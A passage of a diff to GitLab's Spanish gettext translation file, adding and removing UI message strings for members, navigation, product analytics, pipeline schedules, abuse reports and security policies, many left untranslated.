msgstr "Obtener mas información."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "Más información sobre los commits firmados"
-
msgid "Learn more in the"
msgstr "Más información en la"
@@ -25056,6 +25310,9 @@ msgstr "Realice y revise los cambios en el navegador con el Web IDE"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Haga que todos en su equipo sean más productivos, independientemente de su ubicación. GitLab Geo crea réplicas de solo lectura de su instancia de GitLab para que pueda reducir el tiempo que lleva clonar y obtener grandes repositorios."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr "Marque esta incidencia como relacionada con otra incidencia"
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr "Ayuda de Markdown"
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr "Marcado este %{noun} como listo."
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "Esta incidencia esta marcada como un duplicado de %{duplicate_param}."
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "Marcar esta incidencia como incidencia relacionada con %{issue_ref}."
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr "Marca este %{noun} como listo."
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "Marca esta incidencia como un duplicada de %{duplicate_reference}."
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "Marca esta incidencia como una incidencia relacionada con %{issue_ref}."
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr "Deshabilitado"
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr "Se ha producido un error al descartar la sugerencia emergente. Por favor
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Se ha producido un error al cargar el diff completo. Por favor, inténtalo de nuevo."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "No se encontraron archivos"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr "Mensajes"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "Método"
@@ -26510,6 +26803,12 @@ msgstr "Buscar hitos"
msgid "MilestoneCombobox|Select milestone"
msgstr "Seleccionar hito"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "Cerrado:"
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr "NUEVO"
msgid "Name"
msgstr "Nombre"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr "El nombre no puede estar en blanco"
@@ -26939,6 +27244,9 @@ msgstr "El nombre ya está en uso"
msgid "Name is already taken."
msgstr "El nombre ya está en uso."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Nombre de la nueva etiqueta"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr "Rojo claro"
msgid "NavigationTheme|Red"
msgstr "Rojo"
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Ayuda"
@@ -27201,9 +27542,6 @@ msgstr "Nueva clave de despliegue"
msgid "New directory"
msgstr "Nuevo directorio"
-msgid "New discussion"
-msgstr "Nueva discusión"
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr "Sin etiqueta"
msgid "No labels with such name or description"
msgstr "No hay etiquetas con ese nombre o descripción"
-msgid "No license. All rights reserved"
-msgstr "Sin licencia. Todos los derechos reservados"
-
msgid "No matches found"
msgstr "No hay coincidencias"
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Oct"
@@ -28718,6 +29074,9 @@ msgstr "Uno o más de sus archivos de dependencias no son compatibles, y la list
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr "OperationsDashboard|El tablero de operaciones proporciona un resumen del
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "Optimice su flujo de trabajo con los pipelines de CI/CD"
@@ -29308,12 +29670,6 @@ msgstr "Comando de instalación de Gradle Kotlin DSL"
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Si todavía no lo ha hecho, necesitará añadir lo siguiente a su archivo %{codeStart}.pypirc%{codeEnd}."
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr "Padre"
-msgid "Parent epic doesn't exist."
-msgstr "La tarea épica principal no existe."
-
-msgid "Parent epic is not present."
-msgstr "La tarea épica principal no está presente."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr "Validando el pipeline... Esta acción puede tardar hasta un minuto."
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "Esperando que se cargue el contenido de CI..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Todos"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Inactivos"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Proporcione una descripción breve para este pipeline"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Seleccione que contenido desea ver en la página de resumen de un proyecto."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr "Ancho de diseño"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr "Tema del resaltado de la sintaxis"
msgid "Preferences|Tab width"
msgstr "Ancho de pestaña"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr "Esta configuración le permite personalizar el comportamiento del diseñ
msgid "Preferences|Time preferences"
msgstr "Preferencias de hora"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "Utilizar tiempos relativos"
@@ -31396,6 +31758,9 @@ msgstr "Grupo(s) privado(s)"
msgid "Private profile"
msgstr "Perfil privado"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr "Continuar"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "Productividad"
@@ -32083,6 +32649,18 @@ msgstr "Mostrar más"
msgid "ProjectLastActivity|Never"
msgstr "Nunca"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Póngase en contacto con el administrador para cambiar esta configuración."
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Solo se pueden enviar commits firmados a este repositorio."
-msgid "ProjectSettings|Operations"
-msgstr "Operaciones"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr "Serverless Framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr "Por defecto"
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} podrá modificarse por los desarrolladores. ¿Estás seguro de que desea continuar?"
@@ -33475,6 +34071,9 @@ msgstr "Permitido desplegar"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "Entorno"
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr "Seleccione un entorno"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr "Seleccionar grupos"
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr "Remediaciones"
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr "Renovar la suscripción"
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Volver a abrir"
@@ -34568,9 +35170,6 @@ msgstr "Reemplazadas todas las etiquetas %{label_references} %{label_text}."
msgid "Replaces the clone URL root."
msgstr "Reemplaza la raíz de la URL de clonado."
-msgid "Replication"
-msgstr "Replicación"
-
msgid "Reply"
msgstr "Responder"
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr "Informe de los datos de uso de su licencia a GitLab"
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Denunciado %{timeAgo} por %{reportedBy}"
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr "Buscar proyecto"
msgid "Search projects"
msgstr "Buscar proyectos"
-msgid "Search projects..."
-msgstr "Buscar proyectos..."
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr "un"
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
